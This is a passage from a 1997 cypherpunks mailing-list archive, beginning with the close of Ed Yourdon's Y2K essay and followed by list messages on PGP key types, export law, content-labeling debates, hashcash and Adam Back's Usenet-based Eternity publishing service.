   the details, or how we managed to get ourselves into this state. What
   I do want to talk about is the notion that it's our organizations that
   got themselves into this state, and that we have to make sure we
   distinguish between the problems and demands of our organizations,
   versus the problems and demands of our own lives and the lives of our
   families and friends.
   
   First, let's deal with the basic moral issue of culpability and
   responsibility. As you well know, there are some enormous legacy
   mainframe systems that will fall over and collapse on January 1, 2000,
   unless a thorough, expensive, and time-consuming effort is made to
   make them year-2000 compliant. But it's highly unlikely that you wrote
   the original code for those systems; indeed, the original programmers
   are probably long gone, maybe even dead. Or, ironically, those
   programmers may have been promoted: They may be your boss, or your
   boss's boss, or the CIO of the whole shop.
   
   In the rare case where you actually worked on the applications that
   now require year-2000 maintenance, chances are that nobody paid
   attention 15-20 years ago if you recommended that the date be coded
   with a four-digit year field. You were told how expensive memory was,
   and that none of these systems would last through the 1970s, or the
   1980s, or the 1990s.
   
   In other words, with very, very few exceptions, the year-2000 problem
   is not your fault. Maybe we should have been smarter 20 years ago, and
   maybe we should have staged a mass revolt when our business users told
   us that they didn't want to spend the money for an extra two bytes of
   storage every time a date field was required within an application.
   Maybe they didn't really understand the significance of the short-term
   tradeoff that we made on their behalf. But after all, it was their
   money and their systems. In any case, there's a good chance that you
   can look at yourself in the mirror and honestly say: It's not my
   fault.
   
   Perhaps you feel that, as a member of a more-or-less professional
   category of "knowledge" workers, we all share collective
   responsibility for letting society get itself into the year-2000
   dilemma. After all, what if mechanical engineers told us that a flaw
   in their calculations would lead to bridges and buildings falling over
   and crashing on January 1, 2000? What if they collectively shrugged
   their shoulders and said, "Well, it's not our fault. Newton, Galileo,
   and Einstein made a few miscalculations in their basic laws, and we
   just realized the problem."
   
   From that perspective, none of us really wants the IT community to end
   up with a huge black eye, or with the blame for having caused a
   massive economic and social disruption associated with year-2000
   software problems. I'm willing to contribute some time and energy to
   help solve the problem. I'm willing to say, "Well, it doesn t really
   matter whose fault it is at this point. The most important thing is to
   fix the problem, and then move on."
   
   But what if the problem cannot be fixed? What if January 1, 2000,
   arrives and half of your company's software has not been converted?
   What if your organization collapses as a result? At that point, where
   does your responsibility lie? The interesting thing about this is that
   almost every organization could have fixed its year-2000 problem if it
   had begun addressing the problem in 1995 or before. But if the
   year-2000 conversion team is just forming now, in mid-1997, then the
   conversion almost certainly won't be finished when New Year's Eve
   rolls around two years from now. And that part of the problem is the
   fault of senior management, which was too busy worrying about other
   issues to focus on the biggest software project of all time.
   
   Let me stop for a moment and address a basic point: Many software
   professionals believe that the year-2000 problem will be somewhat
   annoying, and somewhat expensive to fix, but they can't bring
   themselves to believe that it could be a major, fundamental problem.
   It's like asking the residents of Southern California if they really
   believe that they're going to wake up one day and find that the San
   Andreas Fault has finally ruptured, and that California is now an
   island floating in the general direction of Hawaii. "We've lived with
   plenty of earthquakes, and some of them have been pretty serious,"
   these folks will tell you. "Someday, the Big One will hit, but I
   really can't believe it's going to happen this year, or next year, or
   the year after."
   
   So here's the question: Do you believe the year-2000 problem is going
   to be really serious? Do you think it could shut down telephone
   service, banking systems, and airline systems for a few days, or a few
   weeks, or even a few months? I've been thinking about all of this
   during the last several months, and I'm becoming increasingly worried
   about the "ripple effect" problems that will be difficult to
   anticipate, and almost impossible to avoid. It won't be the end of
   civilization, but the year-2000 problem could indeed trigger a
   depression on the scale of the Great Depression in the U.S. during the
   1930s. For example, consider XYZBank, which has 300 million lines of
   legacy code. Assume that XYZ has the time and resources to convert 200
   million lines, and it has done a triage to ensure that the
   mission-critical systems are converted. That leaves 100 million lines
   of unconverted code that won't run at all, or will spew out gibberish.
   Since this unconverted code is associated with noncritical systems, it
   won't have a fatal impact on XYZ though it could incur a nontrivial
   cost. My real concern is that the applications XYZ considers
   noncritical might be very critical to some of XYZ's customers,
   partners, suppliers, etc. So it's quite possible that XYZ's failure to
   convert some of its software will cause little, tiny ABCWidget Company
   to go bankrupt, which causes slightly larger DEF Corp. to fold, and so
   on.
   
   Meanwhile, XYZ can't operate entirely alone; without electricity,
   phone service, and water, the offices can't function; without
   transportation services, none of its employees can come into work, and
   none of its customers can visit the bank to transact business. Let's
   assume for a moment that these basic utilities do continue operating
   properly after January 1. But what if the Federal Reserve Bank,
   S.W.I.F.T., and all the other banks that XYZ interacts with are having
   problems? What if XYZ's ability to print monthly bank statements
   depends on PQRPaper Corp. supplying laser-printing paper on a "just in
   time" basis? And what if PQR has a staff of three overworked
   programmers who maintain an ancient legacy system written in assembly
   language? If PQR stops shipping paper, then XYZ stops sending bank
   statements. Not forever, perhaps just for a month or two, but that's
   enough to cause a lot of confusion.
   
   There's also going to be a lot of confusion resulting from bugs
   injected into the converted programs. If XYZBank converts 200 million
   lines of code between now and December 31, 1999, then there will be an
   enormous amount of testing, and with that much code it's inevitable
   that some bugs will slip through. Maybe not fatal bugs that delete the
   database or shut down the bank's systems, but perhaps the kind of bug
   that will send incorrect monthly statements to 100,000 of the bank's 3
   million customers. A problem like this might not be noticed until
   January 31, or when the year-end statements are produced on December
   31, 2000.
   
   The problem with 100,000 incorrect statements is that it will generate
   100,000 angry phone calls. Indeed, officials at the Social Security
   Administration (SSA) are quoted as saying that if the SSA has a 1%
   error rate in its retirement checks and other benefits, it will lead
   to somewhere between 43 and 50 million phone calls, starting the day
   after the checks are mailed. If the problem isn't resolved right away,
   then those people are likely to call back the next day, and the day
   after that, and the organization is likely to be in a state of
   paralysis.
   
   Back to the banks again: Do I really think that Citibank, Chase,
   Chemical, and BankAmerica (along with all the huge Japanese and
   European banks) are going to shut down on January 1, 2000? No, of
   course not. But I won't be surprised if the XYZSavings and Loan in
   South Poobah discovers that it can't process deposits and withdrawals
   for a week or two. That problem might cause a run on the bank, or an
   outright bank failure, and similar problems are likely to occur for a
   number of other small organizations as well. General Motors (GM) won't
   go bankrupt, but ABCWidget and PQR Paper could.
   
   Indeed, if ABCWidget goes bankrupt, it could cause serious problems
   for large companies like GM. Suppose ABC is one of the 100-odd
   companies that supply parts for GM cars and the widgets manufactured
   by ABC are an essential element of the transmission system. Because of
   the lean manufacturing system used throughout U.S. industry today,
   there's a good chance that GM doesn't have an inventory of widgets;
   ABC is supposed to deliver the appropriate number of new widgets to
   the GM plant every day. To ABC's surprise, its computers fail on
   January 1, 2000, and its widget production line shuts down. A week
   later, GM's production line grinds to a halt until it can find a
   replacement widget manufacturer. Meanwhile, GM's factory workers are
   furloughed without pay.
   
   By now, I'm sure you get the drift of my concerns. The interesting
   thing is that while software professionals and systems analysts are
   well-equipped to understand the reasons why the software could fail,
   and the possible consequences of those failures, they prefer to deny
   it. I wasn't aware of this until I watched Peter de Jager's year-2000
   presentation at our recent Summit 97 conference, which ended with a
   question to the audience: "How many of you really believe these
   problems will occur?" To my surprise, a significant number of people
   raised their hands to indicate they did NOT believe that serious
   year-2000-related failures would occur. They couldn't disagree with
   any of the technical points that de Jager raised, just as you probably
   won't find anything fundamentally wrong with my arguments here. But de
   Jager's audience, and many of the people reading this newsletter,
   don't want to believe things could be this bad. "Surely," people will
   argue, "companies will find a way to solve this problem." Given our
   track record for normal software projects over the past 30 years, this
   argument borders on hysterical optimism. More likely, it's cognitive
   dissonance: If the facts disagree with the conclusions you were hoping
   for, then ignore the facts.
   
   What does all of this have to do with your job? Well, first you need
   to realize that a "denial of reality" may be taking place within your
   own organization today. Has your CEO or board of directors made a
   public commitment that all of the organization's systems will be
   year-2000 compliant, and that there is a detailed plan for coping with
   the organization's non-year-2000-compliant vendors, suppliers,
   customers, etc.? Do some arithmetic: If your company has 100 million
   lines of code in its application portfolio, then as of June 1, it
   would need to convert more than 100,000 lines of code per day, every
   day, in order to finish the job on time. Do you see the plans, the
   people, the tools, and the management commitment to make that happen?
   
   If not, what will be the impact on your job? Chances are that your
   company will go into panic mode sometime in 1998, halt all of its
   development work, and assign everyone in the IT department to work on
   year-2000 conversions. When I say everyone, I mean everyone.
   Secretaries will be drafted into the testing effort, and the managers
   will be expected to begin writing COBOL code. Is that the kind of
   environment, with everyone putting in double overtime, that you want
   to work in? And if the year-2000 conversion isn't finished on time,
   who will be blamed? You can be sure there will be lawsuits; are you
   sure you'll escape the wrath of the lawyers?
   
   If your company's year-2000 problems are very severe, what happens if
   it goes bankrupt? Will you be able to get another job? (An even more
   interesting question: At that point, will anyone want to admit that he
   or she is a programmer, or will it be a social stigma after January 1,
   2000?) If you're out of work for six months, do you have enough money
   in the bank to support your family?
   
   Speaking of banks, what if your savings account is in XYZSavings and
   Loan of South Poobah? If depositors begin to worry about XYZ's
   year-2000 compliance in late 1999, will they begin withdrawing all of
   their money? If they do, will you be able to withdraw your money on
   January 3, 2000? Indeed, given the delicate balance of the fractional
   reserve system used by banks, it doesn't take a very large percentage
   of panicky customers to cause a bank run. The worst-case scenario in
   this area is pretty scary -- it might not be just the XYZSavings and
   Loan that suffers a bank run, but the big banks too. If the banks
   close for more than a couple of days, then how does the government
   collect taxes? If the government can't collect taxes, what happens to
   the value of its bonds, T-bills, and other financial instruments?
   
   Meanwhile, how many non-year-2000-compliant railroad and trucking
   companies will it take to disrupt the transportation infrastructure?
   While you're thinking about this, keep in mind another aspect of the
   lean manufacturing system -- the average grocery market, especially in
   urban areas, has to be restocked every 72 hours.
   
   I don't have answers for all of these questions, and I spend a portion
   of each day wanting to believe that none of these crises will occur.
   But I can't find a way to deny the possibility that they could occur,
   not exactly in the way I've described, but as a series of
   domino-effect problems that ripple through society. And if my software
   experience allows me to anticipate some of this, then your experience
   should provide similar insights. Think about this, and try very hard
   to avoid the cognitive dissonance problem.
   
   If the problem is anywhere near as bad as I think it could be, then
   you have to think very carefully about your loyalties and priorities.
   Will your employer get first call on your loyalty, or will it be your
   family and loved ones? On January 1, 2000, will you be at your
   keyboard, still converting two-digit year fields? Think about this
   now, while things are still calm. It won't be so easy two years from
   now. Ciao!
   
   Ed
   Internet: ed@yourdon.com
   Web site: http://www.yourdon.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harry Tuttle Remailer <h_tuttle@rigel.cyberpass.net>
Date: Tue, 29 Jul 1997 09:33:45 +0800
To: cypherpunks@toad.com
Subject: Re: NSA cracker - how many TW
In-Reply-To: <19970728193101.4574.qmail@squirrel.owl.de>
Message-ID: <199707290121.SAA09986@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, Jul 28, 1997 at 07:31:01PM -0000, Secret Squirrel wrote:

> IBM have published a communications scheme that claims to recover
> energy normally lost - it was on their website a few months ago.
> I skipped reading it at the time because it sounded dotty.

A few years ago an engineer at one of the weapons labs found
a new solution to Maxwells equations.  This was briefly
reported in the general press, and seemed to imply that the
solutions found allowed for soliton-like wave packets. 

Some time later there were experiments reported using water
tanks with specially shaped wave generators that were trying
to create a water-wave analog.  The article describing these
experiments speculated, if I remember correctly, that
special antenna geometry and manipulation of the input
signal might be used to generate a electromagnetic wave
equivalent.  There was also brief speculation about uses for
such a device -- beamed energy packets, for communications,
or, at high power, for energy transfer.  Or weapons. 

Anyone else remember this?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Avery <cavery@ccnet.com>
Date: Tue, 29 Jul 1997 09:43:26 +0800
To: "'bennett_t1@popmail.firn.edu>
Subject: RE: Queries from a Cyper-newbie?
Message-ID: <01BC9B83.ACB20460@h97-158.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain



1. Thanks for the comments. I indeed meant "crackable" when I said "unencryptable", as you surmised. I'll learn.

2. I don't precisely know what it means to "change hashes" on RSA keys, though I get the drift. Where can I go for details?

3. I'll do the www.crypto.com thing, thanks for the pointer. This may be a critical last stand on the privacy of communications issue. What gets me is the blind arrogance with which govt "servants" assume that their (even if legitimate) pursuit of crime somehow excuses or justifies diminishing privacy rights for everyone else. There must be some kind of ratio: 1,000,000 rights diminished for  1 criminal activity detected?  Doesn't make sense. 

Thnks.


----------
From: 	bennett_t1@popmail.firn.edu[SMTP:bennett_t1@popmail.firn.edu]
Sent: 	Monday, July 28, 1997 5:35 PM
To: 	Chris Avery
Cc: 	cypherpunks@toad.com
Subject: 	Re: Queries from a Cyper-newbie?

-----BEGIN PGP SIGNED MESSAGE-----

At 03:45 PM 7/28/97 -0700, you wrote:
>Anybody willing to offer a bit of help to a cypher-newbie?  I'm 
trying to sort out a few of the basics:

Well as long as you ask like that instead of what most newbies do, 
such as try and subscribe by sending "Add me to the mailing list" to 
the list.

>1. PGP 5.0 -- good software?

It's better integrated for Mac Lusers and Windows 95ers.  It is, 
however, flawed in some respects.

>If not, what problems?  Why to use DSS vs/ RSA keys?  How is 5.0 
different than 2.6.3i ?  Which is better?

2.6.3i cannot use CAST, or (who would want to , it's DES!) Triple-
DES.  It does however, can use other hashes with RSA, thanks to 
someone's discovery on PGP-USERS.  2.6.3i is dos native, and complex. 
 A shell integrates nicely, but it's still not the same.

>2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i 
(and vice versa?)  Using RSA keys? 

ONLY using RSA keys.  DSS/Diffie-Hellman support is being added to 
old PGP's.  RSAREF is used in PGP 5.0 .  MPILIB, Phil Zimmermann's 
original PGP RSA algorithm implementation is used in international 
versions.  It's becuase of RSA's patent stuff.

>3. I understand certain encryption s/w cannot be legally exported, I 
am aware that such s/w is nevertheless being used (and built) abroad. 
 My queries:  Is purely domestic use being threatened by the pending 
legislation?  Is it already illegal to send an encrypted msg out of 
the US? If so, is it illegal to receive an encrypted msg from outside 
the US?

Unless it is the "shitty 40 bit" type.  It can be built abroad, for 
example, IDEA was made in switzerland, or something like that..., PGP 
2.6.3i was made legally, I think.  Domestic use is being threatened 
by Nazi Motherfuckers like Billy-Bob Clinton [spit], The FBI, and the 
NSA.  Oppose them.  Go to www.crypto.com and do some of the stuff 
there.  Sending and recieving mail from the outside of the US *is 
legal*.

>4. How strong is strong?  My MS Explorer has the 128 bit encryption 
scheme to secure domestic financial transactions (such as credit 
cards). How "un-encryptable" is this? I read some recent postings 
here re difficulty of breaking 128 bit keys -- but this had reference 
to stronger methods of encryption than MS Explorer uses, right? So 
128 bits is hard to break (umptyump years, terrawatts, etc.)? Then 
why does my PGP 5.0 software offer keys that are 768, 1024, etc. up 
to 4096 bits in length? Are these numbers on the same scale? 

Unencryptable?  What the fuck are you talking about?  If you mean 
crackable, let's just say it'd take several time the age of the 
Universe to crack it.  The RSA keys are weaker than symmetric 
cyphers, unless we're talking about DSS/Diffie-Hellman keys with 
4096bits.  They are not on the same scale.

>Any "strength" differences between RSA, DSS, and Diffie-Hellman? IS 
there some layman-understandable difference between these? 

Well, RSA's are patented and RSA is really anal with their patents.  
DSS/Diffie-Hellman keys are unpatented.  You can change hashes on RSA 
keys (RIPEM160, MD5 [was broken already], and SHA-1).  But to use 
those RSA's with older PGP's, use only MD5.

>5. Is international data traffic somehow monitored (or monitorable) 
to detect encrypted traffic?

It can be detected that you're using encryption.  Breaking PGP is 
another thing.

If any other cypherpunks want to correct me here, do so.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9065B0+FhmmTrSJAQEdsgQAmRAJR7CxQCy4Wfny8YM6oJ3chLKnJCnA
E45EElRsAVS8zyAWy06/ZJFG8XjInjgAzmx+fRvGoN0qHvObyFfrDMPML0w+405s
cddgcApc0DfbjP8narKHVBQnbOhwuSjdDbwTbFF9F+EG0OkXewgYKXS/QnS11ov/
ofr4ooPGcr0=
=rowH
-----END PGP SIGNATURE-----









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 29 Jul 1997 03:52:20 +0800
To: love@cptech.org
Subject: Thomases (Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <199707281729.SAA00614@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




James Love <love@cptech.org> writes:
> Tim May <tcmay@got.net> writes:
> > Such as the multiple years in prison that each of the Thomases got?
> 
>      I don't know the Thomases, but did they get "multiple years in
> prison" for mislabeling?  Or for something else?

The Thomases ran an adult BBS and video business in California.  The
fedz busted them by the following moves:

1. Fed stooge posts Thomases some kiddie porn video tapes
2. Fedz kick down the door 30 seconds later before Thomases even knew
   they'd received any mail
3. Fedz tried Thomases in some other state with strong puritanical
   tendencies
4. Fedz locked up Thomases and threw away the key.

Most people who hear the story immediately wonder why the child porn
peddling Fed stooge wasn't locked up rather than the entirely innocent
Thomases.

For details there is a good write up in Phrack.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 29 Jul 1997 09:51:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Eternity (was Re: CPAC, XtatiX, and the Censor-State)
In-Reply-To: <199707282148.WAA01753@server.test.net>
Message-ID: <19970729014252.9662.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

 > You two must've been snoozing when I posted the Eternity
 > service announce back in April.  I implemented something
 > which does pretty much exactly what you're discussing.  I'll
 > include a repost below.

I skimmed it.  "Eternity" makes me think of caskets and people in
dark suits with expensive prices. :)

 > So beyond implementing it, which I've done a first cut of,
 > the next problem is getting people to use it, to advertise
 > it so that people know it exists, to get people to put lots
 > of "interesting" (= otherwise censored, so possibly pretty
 > interesting) materials on it, so that people find it
 > interesting to browse documents on it.

Hmmm.  I would certainly not want to be the only person running a
server when the "interesting" materials got posted.

 > Realtime uncensorable web courtesy of altavista :-)

I like it.

 > System requirements are:

 >   unix
 >   perl5
 >   news source (local news spool or access to nntp server)
 >   pgp (2.6.x)
 >   web space
 >   ability to install cgi-binaries
 >   ability to schedule cron jobs a plus but not essential

Hey - I've got all those things on my new Zipcon shell account
including 10 meg of disk and my own cgi-bin dir.

 > If someone wants to set one up to demo, and post the URL
 > that would be useful.

I'll see if I can get it to work.  Perhaps I can be Jim Bell's
cellmate if things don't work out.  :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Jul 1997 09:05:46 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCA6FE.32CB0327@cptech.org>
Message-ID: <omRkae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



James Love <love@cptech.org> writes:

> Paul Bradley wrote:
> >
> > > Tim, if you think that no web site are unambiguously inappropriate
> > for
> > > children, then you are in a state of denial.
> >
> > Please clarrify this for us: What sites would you classify as
> > unsuitable
> > for children?
>
>
> Let me you way out on a limb, and suggest the following entries, from an
> infoseek search for the workd PICS, would be unabiguously inappropriate
> for children.
>
> --------------------------------
>
> Pissing, Fisting and beastiality! We go to great lengths to bring you
> the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
> Watch! Unfortunately, We can't bring you everything!
> 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K)
>
> Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!!
> The ultimate in anal, double anal, double penetration, sloppy oral, and
> gangbang action!!! 100% GUARANTEED free xrated pics Action!
>
> 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
>
> -------------------------------------------------

This sounds like the kind of stuff teenagers are interested in, have
little trouble finding in the "real world", and usually lose interest
in by the time they're 15.

They're probably the majority of the readers of these particular sites.

And your point is?..

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Jul 1997 09:09:23 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.SUN.3.96.970728114856.11644C-100000@beast.brainlink.com>
Message-ID: <6RRkae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> writes:

> On Sat, 26 Jul 1997, Tim May wrote:
>
> > As long as ratings are completely and full uncoerced, fine. It's the "crap"
> > and "consequences" you speak of that worry me. If one of the pieces of crap
> > is  a $100K civil fine for mislabelling, or one of the consequences is 5
> > years in jail, then it ain't a voluntary system, is it?
> >
> > --Tim May
>
> Of course it's voluntary, citizen unit Tim C. May #0845676FCXV3, it's as
> voluntary as filing an 1040 form, and it's certainly as voluntary as
> communist countries had voluntary work for teens who would voluntarily go
> to work on farms durring their summer vacations.

And let's not forget the thousands of volunteers who helped clean up Chernobyl.
A minute of silence...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Jul 1997 09:11:02 +0800
To: cypherpunks@toad.com
Subject: Re: Thomases (Re: Yet another self-labeling system (do you remember -
In-Reply-To: <199707281729.SAA00614@server.test.net>
Message-ID: <scskae5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:
>
> James Love <love@cptech.org> writes:
> > Tim May <tcmay@got.net> writes:
> > > Such as the multiple years in prison that each of the Thomases got?
> >
> >      I don't know the Thomases, but did they get "multiple years in
> > prison" for mislabeling?  Or for something else?
>
> The Thomases ran an adult BBS and video business in California.  The
> fedz busted them by the following moves:
>
> 1. Fed stooge posts Thomases some kiddie porn video tapes
> 2. Fedz kick down the door 30 seconds later before Thomases even knew
>    they'd received any mail
> 3. Fedz tried Thomases in some other state with strong puritanical
>    tendencies
> 4. Fedz locked up Thomases and threw away the key.

it's important to note that the Thomases were acquited on most charges,
including all child porn charges, but were convicted on "minor" obscenity
charges.

The same the Waco survivors were acquitted of almost everything but the
"minor" weapond possession and locked up for many, many years based on that.

Apparently the juries felt that if the fedz had gone to the trouble of
putting together a case, they're obliged to convict of something "minor".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 29 Jul 1997 04:31:33 +0800
To: cypherpunks@toad.com
Subject: NSA cracker - how many TW
Message-ID: <19970728193101.4574.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain




iang@cs.berkeley.edu
>  seems also unlikely.  (Actually, for all I know, terawatt power sources
>  may exist; that's out of my field.  Please let me know if this is the case.
>  I just know that at my rates, 7.12 TW for 33 minutes (at about $.10/kWh)

I've extracted some figures from an industry publication
and arrive at a worldwide electricity generation capacity
of 1.6 TW.  Assuming that 1% of that power is smuggled into
the deep space cracker we're not even close to 33 minutes,
and it doesn't matter whether we're looking at a one-off
every so often rather than a continuous 40 a day.

And that's still on optimistic assumptions including

1)  testing keys for free

2a) running on earth at 3 K rather than 300 K

or

2b) no bother transmitting power & signals into space
    (Like if the cracker had been secretly installed on Voyager 2
    that'd be your 33 mins gone waiting for the radio.)

IBM have published a communications scheme that claims to recover
energy normally lost - it was on their website a few months ago.
I skipped reading it at the time because it sounded dotty.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 28 Jul 1997 18:49:42 +0800
To: Guillotine <guill@xmission.com>
Subject: Re: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <Pine.OSF.3.96.970728203218.23582A-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 27 Jul 1997, Guillotine wrote:

> I'm creating a new _text_ cryptography program.

If you are not useing a well know and strong cyper method I suggest you
post details of your meathod to sci.crypt where thay will (most likely)
pick holes in it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 29 Jul 1997 05:24:22 +0800
To: love@cptech.org
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCF05E.62269C50@cptech.org>
Message-ID: <199707282021.VAA01157@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




James Love <love@cptech.org> writes:
>    Tim, on the one hand, you seem to be saying that you have
> constitutional rights, which would make the government's enforcement of
> labeling systems illegal.  On the other hand, you seem to express
> concern that the government will succeed at making such labeling
> mandatory.  I'm not sure which case you believe to be true, or if you
> are still unsure how courts will rule on this issue down the road. 

What about the possibility (gasp) that the government might rush ahead
and do things which were illegal, and unconstitutional?

The US is littered with laws, taxes, court decisions which are clearly
unconstitutional.

The problem is that there is this set of people who like to do a thing
called "compromise", and this leads down a slippery path.  Sooner than
you expect you end up with dietary recommendation laws (ingest a few
non-government approved foodstuffs, find yourself locked up - eg many
drugs), 50% effective taxation even thought the people who wrote the
constitution and federal papers were clearly against this, and it is
also clearly unconstitutional.

Your comments on ratings sound a lot like compromises.

> I doubt that Huck Finn is going to be the defining issue of this
> debate.

True.  But that's what it'll come to long term.  Goverment always
starts from an extreme case.

>          At various points, things are more or less voluntary.  

Are taxes voluntary?  Car insurance?  Driving license?  Dog license?
Not straying from government dietary recommendations?  Not taking
notice of governmental "rating services"?  You can't get much closer
to the first amendment than that last one.

> But when you have endless commercial spamming, or make no effort to
> make it easy to filter porn from k-12 classrooms, then you may end
> up with more rules that you might want.  In this sense, rules will
> be result of a failure to solve problems informally.

Spam has technical solutions.  Charge postage.  Problem solved.  

(Or have a look at hashcash for a temporary solution:

	http://www.dcs.ex.ac.uk/~aba/hashcash/
)

You want government anti-spam laws?

Kids might read porn?  Feh.

Kids watch porn on TV.  Kids look at porn mags from shops, or passed
around at school.  Kids pass porn mags around at school from age 10 or
lower.

Libraries contain all sorts of stuff kids could read which would fail
government "rating services".  So do book stores, newspapers.

>     I think that the cyber porn debate would be more of less ended if
> there was an agreement of the standard meta tag for adult material.

That is an interesting suggestion.  

OK, I agree: you standardize a porn meta-tag.  No requirement to use
it.  Perhaps a few porn sites will even use it to increase their web
hits.  Kids will figure out how to do a web search _for_ adult rated
pages.

However I don't think it would appease the law happy, attention
hungry politicians.

The problem is that you can bet your bottom dollar that the law happy
idiots in government will want to draft shit-loads of laws to back it
up.  Voluntary it won't be.

A basic rule of thumb: don't negotiate, compromise with, vote for, or
talk to politicians, it encourages them, and you will always, always
come out worse off.

Slogan graffittied on a bridge around here:

	"don't vote, it only encourages them"

Rule #2: new laws never, never give you more freedom.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 29 Jul 1997 06:10:21 +0800
To: enoch@zipcon.net
Subject: Eternity (was Re: CPAC, XtatiX, and the Censor-State)
In-Reply-To: <19970728200020.5383.qmail@zipcon.net>
Message-ID: <199707282148.WAA01753@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos <enoch@zipcon.net> writes:
> In alt.cypherpunks, Censorship Suck <FBI@Sucks.NSA> writes:
> 
>  > My previous suggestion was to create "virtual" WWW sites
>  > (when necessary, possibly as a stop-gap measure when there
>  > is a censorship attack).
> 
> I read your earlier post, and find the notion of hosting Web
> sites on Usenet intriguing.  [...]
> 
>  > By virtual, I mean by posting to USENET, probably encrypted,
>  > with the decryption key following a couple days later.
> 
>  > It involves considerable development for either a newsreader
>  > or preprocessor, but then, the work is implied. A
>  > "gathering" design is necessary.
> 
> Conceptually, seamlessly extending the Web over Usenet is not
> complicated.  Each document could be posted as a single PGP
> conventionally encrypted article, with some reasonable convention
> for encryption keys and message ids that would enable links to be
> followed. Browsers could be modified to maintain a open
> connection to an NNTP server, and to fetch and decrypt articles
> specified by an nntp:<message-id> link in lieu of using http.
> 
> Suppose I post my favorite banned Web pages to
> alt.anonymous.messages on a weekly basis, and distribute browser
> plug-ins and patches to enable Usenet to host Web content.

You two must've been snoozing when I posted the Eternity service
announce back in April.  I implemented something which does pretty
much exactly what you're discussing.  I'll include a repost below.

> I forsee the following glitches.

I must've been doing something right, I read your practical glitches,
and went yup x 4 :-)

So beyond implementing it, which I've done a first cut of, the next
problem is getting people to use it, to advertise it so that people
know it exists, to get people to put lots of "interesting" (=
otherwise censored, so possibly pretty interesting) materials on it,
so that people find it interesting to browse documents on it.

I'm working on an article for Phrack 51 on it, as I thought the Phrack
audience a suitable one for folks interested in publishing interesting
materials (warez, hacking, cracking hints, tips, liberated information,
